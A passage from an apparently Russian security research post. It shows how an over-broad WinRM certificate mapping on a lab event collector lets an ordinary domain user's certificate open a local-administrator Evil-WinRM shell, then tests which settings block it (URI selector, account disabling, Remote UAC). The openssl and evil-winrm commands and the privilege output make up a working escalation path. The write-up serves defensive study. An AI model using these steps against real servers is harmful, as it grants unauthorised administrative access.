\u0421\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u00a0<strong>\u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u043e \u0432\u044b\u043f\u0443\u0449\u0435\u043d \u0434\u043b\u044f\u00a0<\/strong><code><strong>BOBPC01$<\/strong><\/code>\u00a0\u0438 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 \u043e\u0436\u0438\u0434\u0430\u0435\u043c\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435:<\/p>\n<pre><code class=\"powershell\">Subject: CN=bobpc01.test.localIssuer: TEST-ROOT-CAEKU: Client AuthenticationStrong SID extension: 1.3.6.1.4.1.311.25.2<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><span class=\"sc-logo-wrapper icon-only\"><\/span><\/a><\/div><\/pre>\n<p>SID-\u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u0435 \u0443\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u043d\u0430 \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u044b\u0439 \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440, \u0430 \u043d\u0435 \u043d\u0430 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 WEC. \u042d\u0442\u043e \u0432\u0430\u0436\u043d\u043e: \u043c\u044b \u043d\u0435 \u043f\u044b\u0442\u0430\u0435\u043c\u0441\u044f \u0437\u0430\u0441\u0442\u0430\u0432\u0438\u0442\u044c AD CS \u0432\u044b\u0434\u0430\u0442\u044c \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442 \u043d\u0430 \u0447\u0443\u0436\u0443\u044e \u0423\u0417.<\/p>\n<p>\u042d\u043a\u0441\u043f\u043e\u0440\u0442\u0438\u0440\u0443\u0435\u043c \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442 \u0438 \u043a\u043b\u044e\u0447 \u0432 PEM \u0434\u043b\u044f \u043a\u043b\u0438\u0435\u043d\u0442\u0430 WinRM:<\/p>\n<pre><code class=\"powershell\">openssl pkcs12 -in bobpc01.pfx -clcerts -nokeys \\\u00a0 -out bobpc01.crt.pem -passin pass:openssl pkcs12 -in bobpc01.pfx -nocerts -nodes \\\u00a0 -out bobpc01.key.pem -passin pass:<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><span class=\"sc-logo-wrapper icon-only\"><\/span><\/a><\/div><\/pre>\n<p>\u041f\u043e\u0434\u043a\u043b\u044e\u0447\u0430\u0435\u043c\u0441\u044f \u043a WEC:<\/p>\n<pre><code class=\"bash\">evil-winrm -i srv01.test.local -S -P 5986 \\\u00a0 -c bobpc01.crt.pem -k bobpc01.key.pem<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><span class=\"sc-logo-wrapper icon-only\"><\/span><\/a><\/div><\/pre>\n<p>\u0418 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c:<\/p>\n<pre><code class=\"powershell\">*Evil-WinRM* PS C:\\Users\\CERTMAP-ADMIN\\Documents&gt;<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><span class=\"sc-logo-wrapper icon-only\"><\/span><\/a><\/div><\/pre>\n<p>\u041f\u043e\u0441\u043c\u043e\u0442\u0440\u0438\u043c, \u043a\u0442\u043e \u043c\u044b \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435:<\/p>\n<pre><code class=\"powershell\">whoami \/userwhoami \/groupswhoami \/priv<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><span class=\"sc-logo-wrapper icon-only\"><\/span><\/a><\/div><\/pre>\n<p>\u041d\u0430\u0431\u043b\u044e\u0434\u0430\u0435\u043c\u044b\u0439 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442:<\/p>\n<pre><code class=\"powershell\">User: srv01\\certmap-adminGroup: BUILTIN\\Administrators (S-1-5-32-544)Integrity: High Mandatory Level (S-1-16-12288)Enabled privileges:\u00a0 SeDebugPrivilege\u00a0 SeBackupPrivilege\u00a0 SeRestorePrivilege\u00a0 SeTakeOwnershipPrivilege\u00a0 SeLoadDriverPrivilege\u00a0 SeImpersonatePrivilege<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><span class=\"sc-logo-wrapper icon-only\"><\/span><\/a><\/div><\/pre>\n<p><strong>\u0418\u0442\u043e\u0433\u043e: \u0438\u0437 \u043e\u0431\u044b\u0447\u043d\u043e\u0439 \u0434\u043e\u043c\u0435\u043d\u043d\u043e\u0439 \u0423\u0417 \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0438 \u043f\u043e\u043b\u043d\u043e\u0446\u0435\u043d\u043d\u0443\u044e \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u0443\u044e \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u0438\u0432\u043d\u0443\u044e WinRM-\u0441\u0435\u0441\u0441\u0438\u044e \u043d\u0430 WEC.<\/strong>\u00a0\u041f\u0440\u0438\u0447\u0451\u043c \u043f\u0440\u0430\u0432\u0430\u00a0<code>TEST\\bob<\/code>\u00a0\u043d\u0430 \u0441\u0430\u043c\u043e\u043c\u00a0<code>SRV01<\/code>\u00a0\u0437\u0434\u0435\u0441\u044c \u043d\u0438 \u043f\u0440\u0438 \u0447\u0451\u043c \u2014 \u043e\u043d\u0438 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u043b\u0438\u0441\u044c \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u043c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u043c, \u0443\u043a\u0430\u0437\u0430\u043d\u043d\u044b\u043c \u0432 certificate mapping.<\/p>\n<h4>\u0412\u0430\u0440\u0438\u0430\u043d\u0442 \u2116 2. \u041e\u0431\u044b\u0447\u043d\u044b\u0439 User-\u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442 \u0431\u0435\u0437 \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u044f \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u0430<\/h4>\n<p>\u0414\u0430\u043b\u0435\u0435 \u0432\u043e\u0437\u043d\u0438\u043a \u043b\u043e\u0433\u0438\u0447\u043d\u044b\u0439 \u0432\u043e\u043f\u0440\u043e\u0441: \u0430 \u0437\u0430\u0447\u0435\u043c \u0432\u043e\u043e\u0431\u0449\u0435 \u043d\u0443\u0436\u0435\u043d\u00a0<code>MachineAccountQuota<\/code>, \u0435\u0441\u043b\u0438 WinRM \u043e\u0440\u0438\u0435\u043d\u0442\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u043d\u0430 \u0432\u044b\u0434\u0430\u044e\u0449\u0438\u0439 CA,\u00a0<code>Subject<\/code>\u00a0\u0438\u00a0<code>URI<\/code>?<\/p>\n<p>\u041f\u0440\u043e\u0432\u0435\u0440\u0438\u043b \u0432\u0442\u043e\u0440\u043e\u0439 \u0432\u0430\u0440\u0438\u0430\u043d\u0442.\u00a0<code>TEST\\bob<\/code>\u00a0\u043f\u043e\u043b\u0443\u0447\u0438\u043b \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442 \u0438\u0437 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u043e\u0433\u043e \u0448\u0430\u0431\u043b\u043e\u043d\u0430\u00a0<code><strong>User<\/strong><\/code>, \u0431\u0435\u0437 \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u044f \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u043d\u043e\u0439 \u0423\u0417. \u041f\u043e\u0441\u043c\u043e\u0442\u0440\u0438\u043c \u043d\u0430 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435:<\/p>\n<pre><code class=\"bash\">openssl x509 -in bob-user.crt.pem -noout \\\u00a0 -subject -issuer -ext extendedKeyUsage<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><span class=\"sc-logo-wrapper icon-only\"><\/span><\/a><\/div><\/pre>\n<pre><code class=\"bash\">subject=DC=local, DC=test, CN=Users, CN=bobissuer=DC=local, DC=test, CN=TEST-ROOT-CAX509v3 Extended Key Usage:\u00a0 \u00a0 Microsoft Encrypted File System,\u00a0 \u00a0 E-mail Protection,\u00a0 \u00a0 TLS Web Client Authentication<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><span class=\"sc-logo-wrapper icon-only\"><\/span><\/a><\/div><\/pre>\n<p>\u041f\u043e\u0432\u0442\u043e\u0440\u044f\u0435\u043c \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435, \u043d\u043e \u0443\u0436\u0435 \u0441 \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u043c \u0441\u0430\u043c\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f:<\/p>\n<pre><code class=\"bash\">evil-winrm -i srv01.test.local -S -P 5986 \\\u00a0 -c bob-user.crt.pem -k bob-user.key.pem<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><span class=\"sc-logo-wrapper icon-only\"><\/span><\/a><\/div><\/pre>\n<pre><code class=\"powershell\">*Evil-WinRM* PS C:\\Users\\CERTMAP-ADMIN\\Documents&gt; whoami \/usersrv01\\certmap-admin S-1-5-21-3931055678-3624413536-1687736101-1000<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><span class=\"sc-logo-wrapper icon-only\"><\/span><\/a><\/div><\/pre>\n<p>\u0412\u043e\u0442 \u044d\u0442\u043e \u0443\u0436\u0435 \u0433\u043e\u0440\u0430\u0437\u0434\u043e \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u0435\u0435.\u00a0<code><strong>ms-DS-MachineAccountQuota &gt; 0<\/strong><\/code><strong>\u00a0\u043d\u0435 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u043c \u0443\u0441\u043b\u043e\u0432\u0438\u0435\u043c<\/strong>. \u0414\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0439 \u043a\u043b\u0438\u0435\u043d\u0442\u0441\u043a\u0438\u0439 \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442 \u0438\u0437 \u0434\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u043e\u0439 \u0446\u0435\u043f\u043e\u0447\u043a\u0438 \u0438 \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0433\u043e \u0448\u0438\u0440\u043e\u043a\u043e\u0433\u043e mapping \u043d\u0430 WEC. \u0412 \u043c\u043e\u0451\u043c \u0441\u0442\u0435\u043d\u0434\u0435 \u0434\u043b\u044f \u044d\u0442\u043e\u0433\u043e \u043f\u043e\u0434\u043e\u0448\u0451\u043b \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u044b\u0439\u00a0<code>User<\/code>.<\/p>\n<p><strong>\u0412\u0430\u0436\u043d\u0430\u044f \u043e\u0433\u043e\u0432\u043e\u0440\u043a\u0430:<\/strong>\u00a0\u043d\u0435\u00a0<em>\u043b\u044e\u0431\u043e\u0439<\/em>\u00a0\u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u043e\u0442\u043a\u0440\u043e\u0435\u0442 shell. \u041e\u043d \u0434\u043e\u043b\u0436\u0435\u043d \u043f\u0440\u043e\u0439\u0442\u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443 \u0446\u0435\u043f\u043e\u0447\u043a\u0438 \u0438 \u0441\u0442\u0430\u0442\u0443\u0441\u0430, \u043f\u043e\u0434\u0445\u043e\u0434\u0438\u0442\u044c \u0434\u043b\u044f \u043a\u043b\u0438\u0435\u043d\u0442\u0441\u043a\u043e\u0439 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0438 \u0443\u0434\u043e\u0432\u043b\u0435\u0442\u0432\u043e\u0440\u044f\u0442\u044c \u0434\u0435\u0439\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u043c\u0443 \u043f\u0440\u0430\u0432\u0438\u043b\u0443 WinRM.<\/p>\n<h3>\u041a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u044b\u0435 \u0442\u0435\u0441\u0442\u044b: \u0433\u0434\u0435 \u043f\u0440\u043e\u0445\u043e\u0434\u0438\u0442 \u0433\u0440\u0430\u043d\u0438\u0446\u0430?<\/h3>\n<p>\u041f\u043e\u043b\u0443\u0447\u0438\u0442\u044c shell \u2014 \u043f\u043e\u043b\u043e\u0432\u0438\u043d\u0430 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f. \u0422\u0435\u043f\u0435\u0440\u044c \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u043c, \u0437\u0430 \u0441\u0447\u0451\u0442 \u0447\u0435\u0433\u043e \u043e\u043d \u043f\u043e\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0438 \u043a\u0430\u043a\u0438\u0435 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0431\u043b\u043e\u043a\u0438\u0440\u0443\u044e\u0442 \u0434\u043e\u0441\u0442\u0443\u043f.<\/p>\n<h4>URI: \u0434\u0435\u043b\u043e \u043d\u0435 \u0432 \u043e\u0431\u0445\u043e\u0434\u0435, \u0430 \u0432 \u0441\u043b\u0438\u0448\u043a\u043e\u043c \u0448\u0438\u0440\u043e\u043a\u043e\u043c \u043f\u0440\u0430\u0432\u0438\u043b\u0435<\/h4>\n<p>\u041c\u0435\u043d\u044f\u043b \u0442\u043e\u043b\u044c\u043a\u043e\u00a0<code>URI<\/code>\u00a0certificate mapping, \u043e\u0441\u0442\u0430\u0432\u043b\u044f\u044f \u0442\u043e\u0433\u043e \u0436\u0435 \u0432\u044b\u0434\u0430\u044e\u0449\u0435\u0433\u043e \u0423\u0426,\u00a0<code>Subject=*<\/code>, \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u0438 \u043a\u043b\u0438\u0435\u043d\u0442\u0441\u043a\u0438\u0439 \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442.<\/p>\n<div>\n<div class=\"table\">\n<table>\n<tbody>\n<tr>\n<th>\n<p align=\"left\">URI \u0432 \u043f\u0440\u0430\u0432\u0438\u043b\u0435<\/p>\n<\/th>\n<th>\n<p align=\"left\">WinRM shell<\/p>\n<\/th>\n<th>\n<p align=\"left\">\u041f\u0435\u0440\u0435\u0441\u044b\u043b\u043a\u0430 \u0441\u043e\u0431\u044b\u0442\u0438\u0439 WEC<\/p>\n<\/th>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\"><code>*<\/code><\/p>\n<\/td>\n<td>\n<p align=\"left\"><strong>\u0423\u0441\u043f\u0435\u0448\u043d\u043e<\/strong><\/p>\n<\/td>\n<td>\n<p align=\"left\">\u0420\u0430\u0431\u043e\u0442\u0430\u0435\u0442<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\"><a href=\"http:\/\/schemas.microsoft.com\/wbem\/wsman\/1\/windows\/shell*\" rel=\"noopener nofollow\"><code>http:\/\/schemas.microsoft.com\/wbem\/wsman\/1\/windows\/shell*<\/code><\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><strong>\u0423\u0441\u043f\u0435\u0448\u043d\u043e<\/strong><\/p>\n<\/td>\n<td>\n<p align=\"left\">\u041e\u0442\u0434\u0435\u043b\u044c\u043d\u043e \u043d\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u043b\u0430\u0441\u044c<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\"><a href=\"http:\/\/schemas.microsoft.com\/wbem\/wsman\/1\/windows\/EventLog*\" rel=\"noopener nofollow\"><code>http:\/\/schemas.microsoft.com\/wbem\/wsman\/1\/windows\/EventLog*<\/code><\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><strong>\u041e\u0442\u043a\u0430\u0437<\/strong><\/p>\n<\/td>\n<td>\n<p align=\"left\"><strong>\u0420\u0430\u0431\u043e\u0442\u0430\u0435\u0442<\/strong><\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\"><a href=\"http:\/\/schemas.microsoft.com\/wbem\/wsman\/1\/config*\" rel=\"noopener nofollow\"><code>http:\/\/schemas.microsoft.com\/wbem\/wsman\/1\/config*<\/code><\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><strong>\u041e\u0442\u043a\u0430\u0437<\/strong><\/p>\n<\/td>\n<td>\n<p align=\"left\">\u041e\u0442\u0434\u0435\u043b\u044c\u043d\u043e \u043d\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u043b\u0430\u0441\u044c<\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<\/div>\n<p>\u0421\u0430\u043c\u044b\u0439 \u0432\u0430\u0436\u043d\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u2014\u00a0<code>EventLog*<\/code>. \u041f\u043e\u0441\u043b\u0435 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f \u0440\u0435\u0441\u0443\u0440\u0441\u0430 \u043d\u043e\u0432\u0430\u044f Evil-WinRM-\u0441\u0435\u0441\u0441\u0438\u044f \u043d\u0435 \u043e\u0442\u043a\u0440\u044b\u0432\u0430\u043b\u0430\u0441\u044c. \u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u044f \u0441\u0433\u0435\u043d\u0435\u0440\u0438\u0440\u043e\u0432\u0430\u043b \u0441\u043e\u0431\u044b\u0442\u0438\u044f \u043d\u0430 \u0440\u0430\u0437\u0440\u0435\u0448\u0451\u043d\u043d\u043e\u043c WEC-\u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0435 \u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b \u0438\u0445 \u0432\u00a0<code>ForwardedEvents<\/code>\u00a0\u043d\u0430 \u043a\u043e\u043b\u043b\u0435\u043a\u0442\u043e\u0440\u0435:<\/p>\n<pre><code class=\"powershell\">Event ID: 901, 902Provider: CertiSplitLabSource: PC01.test.localDestination: ForwardedEvents<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><span class=\"sc-logo-wrapper icon-only\"><\/span><\/a><\/div><\/pre>\n<p>\u0422\u043e \u0435\u0441\u0442\u044c\u00a0<strong>\u0434\u043b\u044f \u043f\u0435\u0440\u0435\u0441\u044b\u043b\u043a\u0438 \u0441\u043e\u0431\u044b\u0442\u0438\u0439\u00a0<\/strong><code><strong>URI=*<\/strong><\/code><strong>\u00a0\u043d\u0435 \u043f\u043e\u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043b\u0441\u044f<\/strong>, \u0430 \u0434\u043e\u0441\u0442\u0443\u043f \u043a shell \u0443\u0434\u0430\u043b\u043e\u0441\u044c \u043e\u0442\u0441\u0435\u0447\u044c. \u0410\u043d\u0430\u043b\u043e\u0433\u0438\u0447\u043d\u043e, \u043e\u0442\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 \u0441\u043e\u043f\u043e\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u043d\u043e\u0439 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0439 \u0423\u0417 \u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u0430\u043b\u043e shell (<code>WSMan fault code 1309<\/code>), \u043d\u043e \u043d\u0435 \u043c\u0435\u0448\u0430\u043b\u043e \u0444\u043e\u0440\u0432\u0430\u0440\u0434\u0438\u043d\u0433\u0443; \u0438\u0441\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 \u0435\u0451 \u0438\u0437\u00a0<code>Administrators<\/code>\u00a0\u043f\u0440\u0438\u0432\u043e\u0434\u0438\u043b\u043e \u043a \u043e\u0442\u043a\u0430\u0437\u0443 \u0432 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u043c \u0434\u043e\u0441\u0442\u0443\u043f\u0435 (<code>AccessDenied<\/code>, \u043a\u043e\u0434\u00a0<code>5<\/code>).<\/p>\n<p>\u041e\u0431\u0445\u043e\u0434\u0430 URI selector \u0432 \u044d\u0442\u043e\u043c \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442\u0435 \u043d\u0435\u0442: \u0441\u0435\u043b\u0435\u043a\u0442\u043e\u0440 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442, \u0435\u0441\u043b\u0438 \u0438\u043c \u0432\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f.<\/p>\n<h4>Remote UAC: \u043f\u043e\u0447\u0435\u043c\u0443\u00a0LocalAccountTokenFilterPolicy=0\u00a0\u043d\u0435 \u0441\u043f\u0430\u0441<\/h4>\n<p>\u041f\u043e\u0436\u0430\u043b\u0443\u0439, \u044d\u0442\u043e\u00a0<strong>\u0441\u0430\u043c\u044b\u0439 \u043d\u0435\u043e\u0436\u0438\u0434\u0430\u043d\u043d\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u044b\u0439 \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442<\/strong>\u00a0\u043f\u043e\u0441\u043b\u0435 \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f shell. \u0412 Windows \u0435\u0441\u0442\u044c \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c Remote UAC, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0438\u0432\u0430\u0435\u0442 \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u043e\u0435 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u043f\u043e\u0434 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u043c\u0438 \u0443\u0447\u0451\u0442\u043d\u044b\u043c\u0438 \u0437\u0430\u043f\u0438\u0441\u044f\u043c\u0438. \u041f\u0440\u0438\u00a0<code>LocalAccountTokenFilterPolicy=0<\/code>\u00a0(\u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e) \u0434\u043b\u044f \u043f\u0440\u044f\u043c\u043e\u0433\u043e \u0441\u0435\u0442\u0435\u0432\u043e\u0433\u043e \u0432\u0445\u043e\u0434\u0430 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u0444\u043e\u0440\u043c\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0444\u0438\u043b\u044c\u0442\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0442\u043e\u043a\u0435\u043d. \u0414\u043b\u044f \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u043e\u0433\u043e \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u0433\u043e PowerShell endpoint \u044d\u0442\u043e \u043e\u0431\u044b\u0447\u043d\u043e \u043e\u0437\u043d\u0430\u0447\u0430\u0435\u0442 \u043e\u0442\u043a\u0430\u0437 \u0432 \u0434\u043e\u0441\u0442\u0443\u043f\u0435.<\/p>\n<p>\u0418 \u0437\u0434\u0435\u0441\u044c \u0432\u043e\u0437\u043d\u0438\u043a\u0430\u0435\u0442 \u0432\u043e\u043f\u0440\u043e\u0441:\u00a0<strong>\u0435\u0441\u043b\u0438 \u0443\u0447\u0451\u0442\u043d\u0430\u044f \u0437\u0430\u043f\u0438\u0441\u044c\u00a0<\/strong><code><strong>SRV01\\CERTMAP-ADMIN<\/strong><\/code><strong>\u00a0\u043e\u0434\u043d\u0430 \u0438 \u0442\u0430 \u0436\u0435, \u0431\u0443\u0434\u0435\u0442 \u043b\u0438 Remote UAC \u043e\u0434\u0438\u043d\u0430\u043a\u043e\u0432\u043e \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0438\u0432\u0430\u0442\u044c \u043f\u0430\u0440\u043e\u043b\u044c\u043d\u044b\u0439 \u0432\u0445\u043e\u0434 \u0438 \u0432\u0445\u043e\u0434 \u0447\u0435\u0440\u0435\u0437 \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442?<\/strong><\/p>\n<p>\u041f\u0440\u043e\u0432\u0435\u0440\u044f\u043b \u043e\u0434\u0438\u043d \u0438 \u0442\u043e\u0442 \u0436\u0435\u00a0<code>SRV01\\CERTMAP-ADMIN<\/code>\u00a0\u043d\u0430 \u043e\u0434\u043d\u043e\u043c WinRM endpoint.\u00a0<code>EnableLUA=1<\/code>\u00a0\u043e\u0441\u0442\u0430\u0432\u0430\u043b\u0441\u044f \u0432\u043a\u043b\u044e\u0447\u0451\u043d\u043d\u044b\u043c. \u0418\u0437\u043c\u0435\u043d\u044f\u043b \u0442\u043e\u043b\u044c\u043a\u043e\u00a0<code>LocalAccountTokenFilterPolicy<\/code>\u00a0\u0438 \u0441\u043f\u043e\u0441\u043e\u0431 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438: \u043f\u0430\u0440\u043e\u043b\u044c \u043b\u0438\u0431\u043e \u043a\u043b\u0438\u0435\u043d\u0442\u0441\u043a\u0438\u0439 \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442.<\/p>\n<div>\n<div class=\"table\">\n<table>\n<tbody>\n<tr>\n<th>\n<p align=\"left\">\u0421\u043f\u043e\u0441\u043e\u0431 \u0432\u0445\u043e\u0434\u0430<\/p>\n<\/th>\n<th>\n<p align=\"left\"><code>LATFP<\/code><\/p>\n<\/th>\n<th>\n<p align=\"left\"><code>4624: LogonProcess \/ Package<\/code><\/p>\n<\/th>\n<th>\n<p align=\"left\"><code>ElevatedToken<\/code><\/p>\n<\/th>\n<th>\n<p align=\"left\">Shell<\/p>\n<\/th>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">\u041f\u0430\u0440\u043e\u043b\u044c\u00a0<code>CERTMAP-ADMIN<\/code><\/p>\n<\/td>\n<td>\n<p align=\"left\"><code>1<\/code><\/p>\n<\/td>\n<td>\n<p align=\"left\"><code>NtLmSsp \/ NTLM<\/code><\/p>\n<\/td>\n<td>\n<p align=\"left\"><code>Yes<\/code><\/p>\n<\/td>\n<td>\n<p align=\"left\"><strong>\u0423\u0441\u043f\u0435\u0448\u043d\u043e<\/strong><\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">\u041f\u0430\u0440\u043e\u043b\u044c\u00a0<code>CERTMAP-ADMIN<\/code><\/p>\n<\/td>\n<td>\n<p align=\"left\"><code>0<\/code><\/p>\n<\/td>\n<td>\n<p align=\"left\"><code>NtLmSsp \/ NTLM<\/code><\/p>\n<\/td>\n<td>\n<p align=\"left\"><code>No<\/code><\/p>\n<\/td>\n<td>\n<p align=\"left\"><strong>WinRMAuthorizationError<\/strong><\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">\u0421\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442 \u2192\u00a0<code>CERTMAP-ADMIN<\/code><\/p>\n<\/td>\n<td>\n<p align=\"left\"><code>1<\/code><\/p>\n<\/td>\n<td>\n<p align=\"left\"><code>Advapi \/ Negotiate<\/code><\/p>\n<\/td>\n<td>\n<p 